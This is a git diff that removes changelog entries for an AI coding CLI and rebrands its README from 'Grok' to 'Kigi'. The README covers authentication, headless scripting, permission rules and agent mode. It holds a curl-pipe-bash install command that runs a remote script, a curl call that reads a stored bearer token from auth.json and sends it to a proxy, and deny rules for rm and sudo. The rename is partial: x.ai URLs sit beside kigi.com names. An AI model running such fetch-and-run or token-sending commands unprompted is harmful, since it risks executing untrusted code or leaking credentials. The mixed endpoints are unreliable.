-- **Parallel tool-call stability** prevents Anthropic ordering errors by deferring follow-up user messages until all tool_result blocks in a batch are emitted.
-- **Channel-aware update checks** correctly install alpha builds during channel switches by combining semver comparison with explicit stable-versus-alpha mismatch logic.
-- **More reliable tool execution in forks** validates concatenated JSON against the named tool schema and preserves FileReadTracker state by copying tool_state.json.
-- **Client disconnect cancellation** now stops running tools and triggers cleanup for foreground commands in unary and streaming execution paths.
-- **Stable A/B fork path behavior** keeps model-visible project paths consistent while resolving stale absolute paths safely to worktrees and preserving edit-read tracking state.
-- **Reliable session resume across providers** by repairing dangling tool calls throughout conversation history, preventing persistent 400 errors on interrupted legacy sessions.
-- **Accurate replayed terminal state** by skipping streaming bash update handling during replay, preventing ghost in-progress timers from out-of-order persisted chunks.
-- **Cleaner TUI tool-call logs** by sending no placeholder raw_input until tagged ToolInput arrives, eliminating repeated 'missing field variant' parse errors.
-
-
-# 0.1.146
-
-## Features
-
-- **A/B filesystem isolation** prevents cross-session contamination by running forked sessions in overlayfs and syncing winner side-effects safely.
-- **A/B safety guardrails** now block unsafe side-effecting commands during comparisons and abort contaminated experiments before execution.
-
-## Bug Fixes
-
-- **Responsive A/B cancellation** now interrupts worktree preparation and mid-copy operations, avoiding stuck comparisons and stale vote blocking.
-- **Background task visibility** now shows immediate execution feedback and caps blocking waits, preventing apparent freezes during long-running commands.
-
-
-# 0.1.145
-
-## Bug Fixes
-
-- **Reliable hunk acceptance and replication** by refreshing baselines on git state changes and preserving tracked paths after accept/reject workflows.
-- **Cleaner client tool event stream** by suppressing updates for skipped tool calls while still persisting cancellation context in conversation history.
-
-
-# 0.1.144
-
-## Features
-
-- **Offline-safe feedback retention** writes feedback and A/B votes to local session JSONL before network submission, including previously dropped vote rationale fields.
-- **Agent environment metadata becomes queryable** by merging KIGI_AGENT_METADATA into initialize responses and persisting the full blob in backend agent records.
-- **Dynamic leader-mode control** resolves from CLI, local config, then remote settings, and startup also adopts remote upload limits.
-
-## Bug Fixes
-
-- **Complete prompt trace capture** preserves full pre-truncation text in GCS and records truncation metadata for reliable debugging of long prompts.
-- **Backward-compatible metadata semantics** distinguish absent legacy prompt flags from explicit false values by serializing truncation/image indicators as optional booleans.
-- **Rewind preview no longer crashes** on multibyte text by truncating at UTF-8 character boundaries instead of raw byte offsets.
-- **Large file attachments are safely bounded** by emitting metadata stubs above a token threshold, preventing context blowups while preserving file discoverability.
-- **Non-interactive edit workflows** no longer fail read-before-edit checks because tools server defaults `skip_read_before_edit` to true at startup.
-- **A/B forks now keep subdirectory context** so comparison sessions run in the same repo subpath and replicate changes correctly.
-- **Server-side A/B gating is now enforced** by honoring classification results before forking, reducing unnecessary comparisons for low-value prompts.
-- **Forked A/B sessions now inherit current YOLO mode** so tool permissions stay consistent with user state and comparisons avoid approval stalls.
-
-## Performance
-
-- **Faster A/B fork creation** removes backend registration latency from fork setup by spawning session sync as background telemetry work.
-- **Lower A/B fork overhead** skips low-value telemetry calls for ephemeral comparison forks, avoiding extra session-load work during experiments.
-- **Quicker dual-worktree setup** reuses one precomputed dirty-state scan across both A/B syncs, eliminating redundant git status calls on large repos.
-- **Shorter A/B comparison startup** overlaps both fork-and-spawn flows with concurrent joins, reducing sequential network wait in dual-fork initialization.
-- **Pool restart latency drops** by adopting valid orphan worktrees instead of recreating them, with tested cleanup and adoption flow hardening.
-
-
-# 0.1.143
-
-## Features
-
-- **Prompt introspection from the CLI** is available via `grok prompt`, with JSON or section output and persisted session prompt_context snapshots.
-- **Prompt image tracing** now captures user-supplied images as decoded per-turn files in GCS, improving multimodal debugging and auditability.
-- **A/B comparisons now support ask/plan read-only mode** by forking sessions without git worktrees, enabling comparisons outside repositories with safer non-mutating defaults.
-- **Per-server MCP timeouts** can be set via `_meta.mcpConfig`, with relay passthrough and precedence over config defaults during server startup and tool calls.
-- **Ask/plan A/B can force worktrees** through `[cli].ab_force_worktrees`, overriding read-only defaults when operators need full filesystem-isolated comparisons.
-- **Installation diagnostics** help troubleshoot conflicting grok binaries by listing canonical and invoked paths, versions, update status, and optional JSON output.
-
-## Bug Fixes
-
-- **Reliable todo status updates** now accept merge-only status patches by defaulting missing content to todo IDs instead of rejecting updates.
-- **Accurate prompt re-rendering** now respects active tool overrides and disabled tools by centralizing all prompt assembly through a shared PromptContext.
-- **A/B cancellation no longer double-finishes comparisons** by suppressing completion notifications and after-uploads when cancel handlers already removed active comparison state.
-- **Running outside git repos no longer panics** by skipping gitignore construction without a repo root and guarding absolute-path ignore checks.
-- **npm installs now use a canonical Grok binary path** via postinstall copy to `~/.kigi/bin/grok`, preventing installer conflicts and version confusion.
-
-
-# 0.1.142
-
-## Features
-
-- **Hidden directories now appear in file listings** by defaulting fs list requests to include hidden paths and removing unused session fs/git handlers.
-- **Faster A/B comparisons in large macOS repos** via reusable prefilled worktree pools, atomic claiming, and preparation signaling.
-- **CLI self-update downloads** now use authenticated, time-limited URLs with environment-scoped auth for updates.
-- **Prompt context now includes editor focus state** by rendering focused files, open files, and regular resource links in structured system reminders.
-- **Richer editor context in prompts** now includes focused and open files as resource links with cursor metadata for better code-grounded responses.
-- **More reliable self-updates in restricted environments** by falling back to GitHub Releases via `gh` when npm or internal installers fail.
-
-## Bug Fixes
-
-- **Web search works again** by passing sampling credentials through toolset overrides so the web_search tool is registered correctly.
-- **Unique agent identities across containers** by incorporating Linux HOSTNAME into ID derivation and normalizing stored agent IDs to UUIDv5.
-- **Embedded file attachments parse more URI formats** by accepting optional file:// prefixes and both #Lstart-end and #Lstart-Lend fragments.
-- **Single-@ file references now work in TUI prompts** by broadening reference parsing to support optional @ and L-prefixed line ranges.
-- **Compacted conversations preserve query structure** by wrapping summaries in `<user_query>` tags so resumed sessions keep consistent context formatting.
-- **Duplicate session messages are prevented** by making saveSessionData append only unseen message tails based on persisted message counts.
-- **A/B winner changes now land in your main repo** by replicating worktree edits to the original source directory explicitly.
-- **Debug extension methods now accept camelCase params** while keeping snake_case aliases, improving client compatibility without breaking existing callers.
-- **Fewer stale HTTP client failures** by disabling idle connection pooling for sampling requests and relying on HTTP/2 keep-alive checks.
-
-## Performance
-
-- **Faster worktree pool operations** reduce acquire and cleanup overhead with skip-clean paths and streamlined removal logic.
-
-
-# 0.1.141
-
-## Breaking Changes
-
-- **Per-model concise behavior** replaces global [toolset].use_concise; migrate by setting model.<name>.use_concise=true because the old global key is ignored.
-
-## Features
-
-- **Faster completion acceptance** lets you confirm prompt, file, and history suggestions with Right Arrow alongside Enter and Tab.
-- **Inline code review comments** can now be created and deleted via new extension methods, with append-only GCS event records for pipelines.
-- **Machine-readable update checks** add --check and --json support to update and version commands for automation-friendly version status reporting.
-- **Automatic project-instruction discovery** surfaces newly encountered AGENTS.md and Claude.md paths during tool access, including post-compaction reminders outside the initial directory chain.
-
-## Bug Fixes
-
-- **Cleaner pager command output** relies on shell no-color mode, removing local ANSI stripping and preserving streamed text exactly.
-- **Accurate restored session metrics** persist full SessionSignals snapshots and reload them on resume, avoiding turn-count drift after compaction.
-- **More reliable long streaming requests** use per-sampling HTTP clients with keep-alive tuning instead of a shared global client.
-- **Startup stability for external instruction files** avoids gitignore panics by skipping ignore checks for paths outside the repository root.
-- **Tool-call protocol compliance** now emits cancellation and rejection outputs for unexecuted tools, preventing model errors when expected tool results are missing.
-
-
diff --git a/crates/codegen/kigi-shell/README.md b/crates/codegen/kigi-shell/README.md
index 889f53c..9676946 100644
--- a/crates/codegen/kigi-shell/README.md
+++ b/crates/codegen/kigi-shell/README.md
@@ -1,4 +1,4 @@
-# Grok
+# Kigi
 
 A terminal-based AI coding assistant and agentic harness.
 
@@ -11,24 +11,24 @@ Use it interactively as a TUI, or integrate it into your own apps via headless m
 curl -fsSL https://x.ai/cli/install.sh | bash
 
 # Interactive TUI
-grok
+kigi
 
 # Headless (for scripts/automation)
-grok -p "Explain this codebase"
+kigi -p "Explain this codebase"
 
 # Agent mode (for IDE/app integration)
-grok agent stdio
+kigi agent stdio
 ```
 
 ## Contents
 
 - [Installation](#installation)
 - [Authentication](#authentication) — browser login, API key, OIDC, external auth providers
-- **Using Grok**
+- **Using Kigi**
   - [Interactive TUI](#interactive-tui) — shortcuts, slash commands, file references
   - [Headless Mode](#headless-mode) — scripting, CI/CD, output formats
   - [Agent Mode](#agent-mode) — stdio, ACP integration
-  - [SSH Passthrough](#ssh-passthrough-grok-ssh) — Apple Terminal clipboard support
+  - [SSH Passthrough](#ssh-passthrough-kigi-ssh) — Apple Terminal clipboard support
 - **Configuration**
   - [Config File](#configuration) — general settings, telemetry, LSP, enterprise deployment
   - [Custom Models](#custom-models) — BYOK, Ollama, OpenAI, custom endpoints
@@ -44,14 +44,14 @@ grok agent stdio
   - [Memory](#memory) — cross-session knowledge persistence
   - [Sandbox](#sandbox) — OS-level filesystem/network isolation
 - **Reference**
-  - [Introspection (`grok inspect`)](#introspection)
+  - [Introspection (`kigi inspect`)](#introspection)
   - [Claude Code Compatibility](#claude-code-compatibility)
   - [Built-in Tools](#built-in-tools)
   - [Session Persistence](#session-persistence) — storage layout, resume
   - [File Locations](#file-locations)
   - [Environment Variables](#environment-variables)
   - [Troubleshooting](#troubleshooting)
-- [Building with Grok](#building-with-grok) — headless API, ACP SDK integration
+- [Building with Kigi](#building-with-kigi) — headless API, ACP SDK integration
 
 ---
 
@@ -68,13 +68,13 @@ curl -fsSL https://x.ai/cli/install.sh | bash -s 0.1.42
 Verify installation:
 
 ```bash
-grok --version
+kigi --version
 ```
 
 Update to the latest version:
 
 ```bash
-grok update
+kigi update
 ```
 
 ---
@@ -83,20 +83,20 @@ grok update
 
 ### Browser Login (Default)
 
-On first launch, Grok opens your browser to authenticate with grok.com:
+On first launch, Kigi opens your browser to authenticate with kigi.com:
 
 ```bash
-grok
+kigi
 ```
 
-Credentials are stored in `~/.kigi/auth.json` and persist across sessions. Tokens expire after 7 days; Grok will prompt you to re-authenticate when needed.
+Credentials are stored in `~/.kigi/auth.json` and persist across sessions. Tokens expire after 7 days; Kigi will prompt you to re-authenticate when needed.
 
 ### Re-authenticate
 
 To switch accounts or fix authentication issues:
 
 ```bash
-grok login
+kigi login
 ```
 
 ### API Key
@@ -105,7 +105,7 @@ For CI/CD, automation, or environments without browser access, use an API key fr
 
 ```bash
 export XAI_API_KEY="xai-..."
-grok
+kigi
 ```
 
 The API key takes precedence over browser credentials.
@@ -123,7 +123,7 @@ Authenticate developers via your own Identity Provider (Okta, Azure AD, Auth0) i
 
 ```toml
 # ~/.kigi/config.toml
-[grok_com_config.oidc]
+[kigi_com_config.oidc]
 issuer = "https://acme.okta.com"
 client_id = "0oa1b2c3d4e5f6g7h8i9"
 ```
@@ -136,10 +136,10 @@ export KIGI_OIDC_CLIENT_ID="0oa1b2c3d4e5f6g7h8i9"
 
 Customers typically also override the API endpoint to point at their own proxy:
 ```bash
-export KIGI_CLI_CHAT_PROXY_BASE_URL="https://grok-proxy.acme.com/v1"
+export KIGI_CLI_CHAT_PROXY_BASE_URL="https://kigi-proxy.acme.com/v1"
 ```
 
-**3. Run `grok`.** The CLI discovers endpoints via `{issuer}/.well-known/openid-configuration`, opens the IdP login page, and stores tokens in `~/.kigi/auth.json`. The OIDC token is sent as `Authorization: Bearer` to the configured proxy. Tokens auto-refresh silently via the stored `refresh_token`.
+**3. Run `kigi`.** The CLI discovers endpoints via `{issuer}/.well-known/openid-configuration`, opens the IdP login page, and stores tokens in `~/.kigi/auth.json`. The OIDC token is sent as `Authorization: Bearer` to the configured proxy. Tokens auto-refresh silently via the stored `refresh_token`.
 
 **Optional fields:**
 
@@ -152,13 +152,13 @@ export KIGI_CLI_CHAT_PROXY_BASE_URL="https://grok-proxy.acme.com/v1"
 
 For environments where browser-based login isn't possible (sandboxed VMs, CI runners, air-gapped networks), delegate authentication to an external binary or script. This is the recommended approach for enterprise deployments where your company runs its own auth infrastructure (SSO, device code flows, certificate auth, etc.).
 
-Grok is provider-agnostic — it doesn't know or care how your binary authenticates. It just runs the command, reads a token from stdout, and stores it. Your binary is a black box that handles the entire auth flow.
+Kigi is provider-agnostic — it doesn't know or care how your binary authenticates. It just runs the command, reads a token from stdout, and stores it. Your binary is a black box that handles the entire auth flow.
 
 #### How It Works
 
 ```
 ┌──────────────┐     sh -c     ┌────────────────────────┐
-│     Grok     │──────────────▶│  your auth binary      │
+│     Kigi     │──────────────▶│  your auth binary      │
 │              │               │                        │
 │  reads       │◀── stdout ────│  prints token          │
 │  auth.json   │               │                        │
@@ -166,11 +166,11 @@ Grok is provider-agnostic — it doesn't know or care how your binary authentica
 └──────────────┘               └────────────────────────┘
 ```
 
-1. Grok runs your command via `sh -c "<command>"`
+1. Kigi runs your command via `sh -c "<command>"`
 2. Your binary does whatever auth flow it needs (SSO login, device code, cert exchange, etc.)
 3. **stderr** → displayed directly to the user (use for login URLs, status messages, progress)
-4. **stdout** → captured by Grok and saved to `~/.kigi/auth.json` as the access token
-5. exit 0 → success; exit non-zero → Grok falls through to interactive login
+4. **stdout** → captured by Kigi and saved to `~/.kigi/auth.json` as the access token
+5. exit 0 → success; exit non-zero → Kigi falls through to interactive login
 
 #### The stdout / stderr Contract
 
@@ -178,10 +178,10 @@ This is the most important thing to get right:
 
 | Stream | What to print | Who sees it |
 |--------|---------------|-------------|
-| **stdout** | The token — nothing else | Grok (parsed and stored in `auth.json`) |
+| **stdout** | The token — nothing else | Kigi (parsed and stored in `auth.json`) |
 | **stderr** | Login URLs, status messages, errors, progress | The user (displayed in their terminal) |
 
-**Do not print anything to stdout except the token.** No progress messages, no debug output, no "Login successful!" text. Grok reads stdout verbatim and tries to parse it as a token. Any extra text will break parsing.
+**Do not print anything to stdout except the token.** No progress messages, no debug output, no "Login successful!" text. Kigi reads stdout verbatim and tries to parse it as a token. Any extra text will break parsing.
 
 #### stdout Token Format
 
@@ -197,7 +197,7 @@ eyJhbGciOiJSUzI1NiIs...
 {"access_token": "eyJhbGciOi...", "refresh_token": "ref-tok", "expires_in": 3600}
 ```
 
-Use JSON if your tokens expire and you want Grok to automatically re-run the binary before expiry. The `expires_in` field (seconds until expiry) tells Grok when to proactively refresh. Without it, Grok assumes tokens last 30 days.
+Use JSON if your tokens expire and you want Kigi to automatically re-run the binary before expiry. The `expires_in` field (seconds until expiry) tells Kigi when to proactively refresh. Without it, Kigi assumes tokens last 30 days.
 
 #### Minimal Example
 
@@ -209,7 +209,7 @@ echo "Visit: https://sso.acme.com/device-login?code=ABCD-1234" >&2
 
 # ... do the auth flow, get a token ...
 
-# Print ONLY the token to stdout (Grok captures this)
+# Print ONLY the token to stdout (Kigi captures this)
 echo "eyJhbGciOiJSUzI1NiIs..."
 ```
 
@@ -230,11 +230,11 @@ export KIGI_AUTH_PROVIDER_LABEL="Acme Corp"   # optional
 export KIGI_AUTH_TOKEN_TTL=3600               # optional
 ```
 
-If your binary outputs a bare token string (not JSON with `expires_in`), set `auth_token_ttl` to the token's expected lifetime in seconds. Without it, Grok cannot detect expiry proactively and will only refresh after a 401.
+If your binary outputs a bare token string (not JSON with `expires_in`), set `auth_token_ttl` to the token's expected lifetime in seconds. Without it, Kigi cannot detect expiry proactively and will only refresh after a 401.
 
 The command is run via `sh -c`, so it can be a binary path, a shell script, or a pipeline.
 
-When `auth_provider_label` is set, the TUI welcome screen shows **"Login with Acme Corp"** instead of "Login with grok.com". In headless mode (`grok -p`), the label has no effect — stderr from your binary is printed directly to the terminal.
+When `auth_provider_label` is set, the TUI welcome screen shows **"Login with Acme Corp"** instead of "Login with kigi.com". In headless mode (`kigi -p`), the label has no effect — stderr from your binary is printed directly to the terminal.
 
 > **Enterprise setup:** For a complete enterprise `config.toml` combining external auth, corporate proxy, and telemetry settings, see [Enterprise Deployment](#enterprise-deployment) in the Configuration section.
 
@@ -243,7 +243,7 @@ When `auth_provider_label` is set, the TUI welcome screen shows **"Login with Ac
 ```bash
 #!/bin/sh
 # 1. Request device code from your IdP
-RESP=$(curl -s -X POST https://auth.acme.com/device/code -d "client_id=grok-cli")
+RESP=$(curl -s -X POST https://auth.acme.com/device/code -d "client_id=kigi-cli")
 CODE=$(echo "$RESP" | jq -r '.user_code')
 URL=$(echo "$RESP" | jq -r '.verification_uri')
 DEVICE_CODE=$(echo "$RESP" | jq -r '.device_code')
@@ -266,7 +266,7 @@ echo "{\"access_token\": \"$TOKEN\", \"expires_in\": 3600}"
 
 #### Example: Auth Binary with Refresh Support
 
-When Grok needs to refresh an expired token, it re-runs your binary with `KIGI_AUTH_EXPIRED=1` set in the environment. Your binary can use this to take a faster silent-refresh path:
+When Kigi needs to refresh an expired token, it re-runs your binary with `KIGI_AUTH_EXPIRED=1` set in the environment. Your binary can use this to take a faster silent-refresh path:
 
 ```bash
 #!/bin/sh
@@ -288,31 +288,31 @@ fi
 echo "{\"access_token\": \"$TOKEN\", \"expires_in\": 3600}"
 ```
 
-`KIGI_AUTH_EXPIRED` is optional — if your binary ignores it, Grok still works. It just runs the same flow for both login and refresh.
+`KIGI_AUTH_EXPIRED` is optional — if your binary ignores it, Kigi still works. It just runs the same flow for both login and refresh.
 
 ### Automatic Credential Refresh
 
-Grok supports automatic credential refresh for external auth providers and OIDC. When Grok detects that your token is expired (either locally based on `expires_in`, or when the server returns a 401), it automatically re-runs your `auth_provider_command` to obtain new credentials before retrying the request.
+Kigi supports automatic credential refresh for external auth providers and OIDC. When Kigi detects that your token is expired (either locally based on `expires_in`, or when the server returns a 401), it automatically re-runs your `auth_provider_command` to obtain new credentials before retrying the request.
 
-This is transparent — you don't need to do anything. Grok handles it in the background during your session.
+This is transparent — you don't need to do anything. Kigi handles it in the background during your session.
 
 **When does refresh happen?**
 
-- **Before expiry:** If your binary returned `expires_in` in its JSON output, or you set `auth_token_ttl` in config, Grok re-runs the binary ~5 minutes before the token expires, so you never see an auth error.
-- **On auth error:** If the server rejects a request with 401/403 (e.g. token was revoked or expired), Grok re-runs the binary and retries the request once.
-- **OIDC:** If you're using OIDC and have a `refresh_token`, Grok silently refreshes via your IdP without re-opening the browser.
+- **Before expiry:** If your binary returned `expires_in` in its JSON output, or you set `auth_token_ttl` in config, Kigi re-runs the binary ~5 minutes before the token expires, so you never see an auth error.
+- **On auth error:** If the server rejects a request with 401/403 (e.g. token was revoked or expired), Kigi re-runs the binary and retries the request once.
+- **OIDC:** If you're using OIDC and have a `refresh_token`, Kigi silently refreshes via your IdP without re-opening the browser.
 
 **Tuning the refresh buffer:**
 
 ```bash
-# Grok refreshes tokens 5 minutes before expiry by default.
+# Kigi refreshes tokens 5 minutes before expiry by default.
 # Set to 0 to only refresh on 401. Set higher for very short-lived tokens.
 export KIGI_AUTH_EARLY_INVALIDATION_SECS=300
 ```
 
 **Keep in mind:**
-- When using `auth_provider_command`, you don't need to run `grok login` before starting — Grok runs your binary automatically on first launch. You _can_ run `grok login` to explicitly hydrate `auth.json` ahead of time if you prefer.
-- If both OIDC and `auth_provider_command` are configured: at **login** time, Grok tries OIDC silent refresh first (if a `refresh_token` exists), then the external binary, then browser-based login. During a **session**, whichever method is configured is used exclusively — if `auth_provider_command` is set it handles all mid-session refreshes; otherwise OIDC silent refresh is used.
+- When using `auth_provider_command`, you don't need to run `kigi login` before starting — Kigi runs your binary automatically on first launch. You _can_ run `kigi login` to explicitly hydrate `auth.json` ahead of time if you prefer.
+- If both OIDC and `auth_provider_command` are configured: at **login** time, Kigi tries OIDC silent refresh first (if a `refresh_token` exists), then the external binary, then browser-based login. During a **session**, whichever method is configured is used exclusively — if `auth_provider_command` is set it handles all mid-session refreshes; otherwise OIDC silent refresh is used.
 - Your binary's stderr output is displayed to the user but interactive stdin is not supported. This works well for browser-based SSO flows where the binary displays a URL and you complete authentication in the browser.
 
 #### Troubleshooting Auth
@@ -320,8 +320,8 @@ export KIGI_AUTH_EARLY_INVALIDATION_SECS=300
 Enable debug logging to trace the auth flow:
 
 ```bash
-grok --debug-file /tmp/grok-auth.log -p "hello"
-tail -f /tmp/grok-auth.log
+kigi --debug-file /tmp/kigi-auth.log -p "hello"
+tail -f /tmp/kigi-auth.log
 ```
 
 Common log messages:
@@ -336,16 +336,16 @@ Common log messages:
 
 ### Using auth.json for API Access
 
-If you've authenticated with `grok login`, you can use the stored credentials to call the CLI chat proxy directly via curl. The proxy requires specific headers that mirror what the grok CLI sends internally:
+If you've authenticated with `kigi login`, you can use the stored credentials to call the CLI chat proxy directly via curl. The proxy requires specific headers that mirror what the kigi CLI sends internally:
 
 ```bash
 curl -s -N -X POST "https://cli-chat-proxy.kigi.com/v1/chat/completions" \
   -H "Content-Type: application/json" \
   -H "Authorization: Bearer $(jq -r '."https://accounts.x.ai/sign-in".key' ~/.kigi/auth.json)" \
-  -H "X-XAI-Token-Auth: xai-grok-cli" \
-  -H "x-grok-model-override: grok-build" \
+  -H "X-XAI-Token-Auth: xai-kigi-cli" \
+  -H "x-kigi-model-override: kigi" \
   -d '{
-    "model": "grok-build",
+    "model": "kigi",
     "messages": [{"role": "user", "content": "Hello!"}],
     "stream": true
   }'
@@ -355,9 +355,9 @@ curl -s -N -X POST "https://cli-chat-proxy.kigi.com/v1/chat/completions" \
 
 | Header                           | Required | Purpose                                                                                                                                                                                   |
 | -------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `Authorization: Bearer <token>`  | Yes      | Session token from `~/.kigi/auth.json` (set by `grok login`)                                                                                                                              |
-| `X-XAI-Token-Auth: xai-grok-cli` | Yes      | Tells the auth middleware to validate as a CLI session token                                                                                                                              |
-| `x-grok-model-override: <model>` | Yes\*    | The proxy uses this header (not the JSON body) to route to the correct backend. \*Can be omitted for `grok-build` which is on the default route, but always safe to include. |
+| `Authorization: Bearer <token>`  | Yes      | Session token from `~/.kigi/auth.json` (set by `kigi login`)                                                                                                                              |
+| `X-XAI-Token-Auth: xai-kigi-cli` | Yes      | Tells the auth middleware to validate as a CLI session token                                                                                                                              |
+| `x-kigi-model-override: <model>` | Yes\*    | The proxy uses this header (not the JSON body) to route to the correct backend. \*Can be omitted for `kigi` which is on the default route, but always safe to include. |
 
 **Streaming vs non-streaming:**
 
@@ -365,9 +365,9 @@ Most models behind the proxy only support streaming. Always use `"stream": true`
 
 | Model                 | Non-streaming  | Streaming    |
 | --------------------- | -------------- | ------------ |
-| `grok-build`    | ✅ Supported   | ✅ Supported |
+| `kigi`    | ✅ Supported   | ✅ Supported |
 
-> **Note:** `auth.json` tokens expire after 7 days. Run `grok login` to refresh.
+> **Note:** `auth.json` tokens expire after 7 days. Run `kigi login` to refresh.
 
 ---
 
@@ -378,7 +378,7 @@ The TUI (Terminal User Interface) provides a full interactive coding environment
 ### Launch
 
 ```bash
-grok [OPTIONS]
+kigi [OPTIONS]
 ```
 
 ### Options
@@ -404,16 +404,16 @@ grok [OPTIONS]
 
 ```bash
 # Start in a specific project
-grok --cwd ~/projects/my-app
+kigi --cwd ~/projects/my-app
 
 # Start with an initial task
-grok --prompt "Review this codebase and suggest improvements"
+kigi --prompt "Review this codebase and suggest improvements"
 
 # Add project-specific rules
-grok --rules "Always use TypeScript. Prefer functional components."
+kigi --rules "Always use TypeScript. Prefer functional components."
 
 # Auto-approve mode for trusted tasks
-grok --always-approve --prompt "Format all files"
+kigi --always-approve --prompt "Format all files"
 ```
 
 ### Keyboard Shortcuts
@@ -458,7 +458,7 @@ Type `/` in the input to access commands:
 
 ```bash
 # Example usage in TUI:
-/model grok-build
+/model kigi
 /new
 /rewind
 /feedback Something isn't working
@@ -499,7 +499,7 @@ The `!` modifier allows you to attach any file in the project regardless of igno
 
 ## Headless Mode
 
-Run Grok non-interactively from the command line. Use headless mode when you need to:
+Run Kigi non-interactively from the command line. Use headless mode when you need to:
 
 - **Automate tasks** — CI/CD pipelines, pre-commit hooks, cron jobs
 - **Script workflows** — Batch process files, chain with other tools
@@ -511,7 +511,7 @@ Headless mode accepts a single prompt, executes it with full tool access, and re
 ### Basic Usage
 
 ```bash
-grok -p "Your prompt here"
+kigi -p "Your prompt here"
 ```
 
 ### Options
@@ -519,7 +519,7 @@ grok -p "Your prompt here"
 | Flag                    | Description                                           |
 | ----------------------- | ----------------------------------------------------- |
 | `-p, --single <PROMPT>` | The prompt to send (required)                         |
-| `-m, --model <MODEL>`   | Model to use (e.g., `grok-build`)               |
+| `-m, --model <MODEL>`   | Model to use (e.g., `kigi`)               |
 | `-s, --session-id <ID>` | Create or resume a headless session with this ID      |
 | `-r, --resume <ID>`     | Resume an existing session (errors if not found)      |
 | `-c, --continue`        | Continue the most recent session in current directory |
@@ -555,13 +555,13 @@ Tool names correspond to the internal tool IDs shown below. For quick reference:
 
 ```bash
 # Only allow read-only tools
-grok -p "Explain this codebase" --tools "read_file,grep,list_dir"
+kigi -p "Explain this codebase" --tools "read_file,grep,list_dir"
 
 # Remove web access and file editing
-grok -p "Review this code" --disallowed-tools "web_search,web_fetch,search_replace"
+kigi -p "Review this code" --disallowed-tools "web_search,web_fetch,search_replace"
 
 # Remove shell access
-grok -p "Review this code" --disallowed-tools "run_terminal_cmd"
+kigi -p "Review this code" --disallowed-tools "run_terminal_cmd"
 ```
 
 `--disallowed-tools` also supports special `Agent` entries to control subagent spawning:
@@ -574,10 +574,10 @@ grok -p "Review this code" --disallowed-tools "run_terminal_cmd"
 
 ```bash
 # Allow tools but prevent the agent from spawning any subagents
-grok -p "Fix this bug" --disallowed-tools "Agent"
+kigi -p "Fix this bug" --disallowed-tools "Agent"
 
 # Block only the explore subagent
-grok -p "Refactor this module" --disallowed-tools "Agent(explore)"
+kigi -p "Refactor this module" --disallowed-tools "Agent(explore)"
 ```
 
 When `--tools` is set, only the listed tools are available and default tool injection is disabled. When both flags are present, `--disallowed-tools` runs after `--tools` — use this to start from an allowlist and then remove specific entries.
@@ -604,19 +604,19 @@ Glob patterns support `*` (single-level wildcard) and `**` (recursive). A bare p
 
 ```bash
 # Deny all shell commands matching "rm*"
-grok -p "Clean up this project" --deny "Bash(rm*)"
+kigi -p "Clean up this project" --deny "Bash(rm*)"
 
 # Allow npm commands, deny everything else dangerous
-grok -p "Set up the project" --allow "Bash(npm*)" --deny "Bash(sudo*)"
+kigi -p "Set up the project" --allow "Bash(npm*)" --deny "Bash(sudo*)"
 
 # Deny edits outside src/
-grok -p "Refactor the code" --deny "Edit(/etc/**)"
+kigi -p "Refactor the code" --deny "Edit(/etc/**)"
 
 # Allow all bash commands (auto-approve without prompting)
-grok -p "Build the project" --allow "Bash"
+kigi -p "Build the project" --allow "Bash"
 
 # Combine: allow fetching docs sites, deny other URLs
-grok --allow "WebFetch(domain:docs.rs)" --deny "WebFetch(*)"
+kigi --allow "WebFetch(domain:docs.rs)" --deny "WebFetch(*)"
 ```
 
 `--allow` and `--deny` can be repeated to add multiple rules. Deny rules take precedence over allow rules. These flags work in both TUI and headless mode.
@@ -625,26 +625,26 @@ grok --allow "WebFetch(domain:docs.rs)" --deny "WebFetch(*)"
 
 ```bash
 # Simple question
-grok -p "What does this project do?"
+kigi -p "What does this project do?"
 
 # Use a specific model
-grok -p "Optimize this function" -m grok-build
+kigi -p "Optimize this function" -m kigi
 
 # Get JSON output for parsing
-grok -p "List all TODO comments in the codebase" --output-format json
+kigi -p "List all TODO comments in the codebase" --output-format json
 
 # Streaming JSON for real-time processing
-grok -p "Explain the architecture" --output-format streaming-json
+kigi -p "Explain the architecture" --output-format streaming-json
 
 # Multi-turn conversation (session ID is returned in JSON output)
-grok -p "Remember: the secret number is 42" --output-format json
-grok -p "What's the secret number?" --resume <sessionId>
+kigi -p "Remember: the secret number is 42" --output-format json
+kigi -p "What's the secret number?" --resume <sessionId>
 
 # Resume most recent session
-grok -p "Continue where we left off" -c
+kigi -p "Continue where we left off" -c
 
 # Run in a different directory
-grok -p "Run the tests" --cwd ~/projects/other-app --always-approve
+kigi -p "Run the tests" --cwd ~/projects/other-app --always-approve
 ```
 
 ### Scripting with Named Sessions
@@ -653,10 +653,10 @@ For CI and automation, `-s/--session-id` lets you choose your own session ID:
 
 ```bash
 # Start a session namespaced to a PR
-grok -p "Review the changes in this PR" -s "critique-myrepo-pr-123"
+kigi -p "Review the changes in this PR" -s "critique-myrepo-pr-123"
 
 # Continue in the same session
-grok -p "Now check for security issues" -s "critique-myrepo-pr-123"
+kigi -p "Now check for security issues" -s "critique-myrepo-pr-123"
 ```
 
 If the session exists it picks up where you left off; if not, a new one is created.
@@ -697,25 +697,25 @@ Here's a summary of the codebase...
 
 ```bash
 # Pipe output to a file
-grok -p "Generate a README" > README.md
+kigi -p "Generate a README" > README.md
 
 # Parse JSON output with jq
-grok -p "List files" --output-format json | jq -r '.text'
+kigi -p "List files" --output-format json | jq -r '.text'
 
 # CI/CD: automated code review
-grok -p "Review changes for bugs and security issues." \
+kigi -p "Review changes for bugs and security issues." \
   --output-format json --always-approve | jq -r '.text' > review.md
 
 # Pipeline: chain with other tools
-git diff --staged | grok -p "Write a concise commit message for these changes"
+git diff --staged | kigi -p "Write a concise commit message for these changes"
 
 # Batch: process multiple files
 for file in src/*.js; do
-  grok -p "Migrate $file from CommonJS to ES modules." --always-approve
+  kigi -p "Migrate $file from CommonJS to ES modules." --always-approve
 done
 
 # Pre-commit hook
-grok -p "Review staged changes for obvious bugs. Reply OK if fine, or list issues." \
+kigi -p "Review staged changes for obvious bugs. Reply OK if fine, or list issues." \
   --always-approve --output-format json | jq -r '.text' | grep -q "^OK" || exit 1
 ```
 
@@ -725,14 +725,14 @@ grok -p "Review staged changes for obvious bugs. Reply OK if fine, or list issue
 
 ## Agent Mode
 
-Run Grok as an ACP (Agent Client Protocol) agent for integration with IDEs, editors, and custom tooling.
+Run Kigi as an ACP (Agent Client Protocol) agent for integration with IDEs, editors, and custom tooling.
 
 ### stdio Transport
 
 For direct integration with ACP clients:
 
